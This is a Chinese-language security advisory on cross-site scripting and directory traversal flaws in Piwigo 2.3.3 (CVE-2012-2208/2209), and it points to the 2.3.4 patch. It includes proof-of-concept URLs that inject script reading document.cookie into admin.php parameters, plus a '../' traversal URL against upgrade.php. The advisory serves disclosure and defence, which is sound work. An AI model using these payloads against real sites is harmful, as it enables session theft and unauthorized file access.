安全研究

安全漏洞
Piwigo多个跨站脚本执行和目录遍历漏洞

发布日期:2012-04-25
更新日期:2012-04-25

受影响系统:
Piwigo Piwigo 2.3.3
不受影响系统:
Piwigo Piwigo 2.3.4
描述:
BUGTRAQ  ID: 53245
CVE ID: CVE-2012-2208,CVE-2012-2209

Piwigo是用PHP编写的相册脚本。

Piwigo 2.3.4之前版本的upgrade.php中存在目录遍历漏洞,通过language参数中的“..”可允许远程攻击者包含和执行任意本地文件。

<*来源:High-Tech Bridge SA (http://www.htbridge.ch/)
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

High-Tech Bridge SA (http://www.htbridge.ch/)提供了如下测试方法:
Cross-site scripting:

http://www.example.com/admin.php?page=configuration&amp;section=%22%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/admin.php?page=languages_new&amp;installstatus=%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/admin.php?page=theme&amp;theme=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Directory traversal:

http://www.example.com/upgrade.php?language=../../../../../tmp/

建议:
厂商补丁:

Piwigo
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://piwigo.org/

浏览次数:1770
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障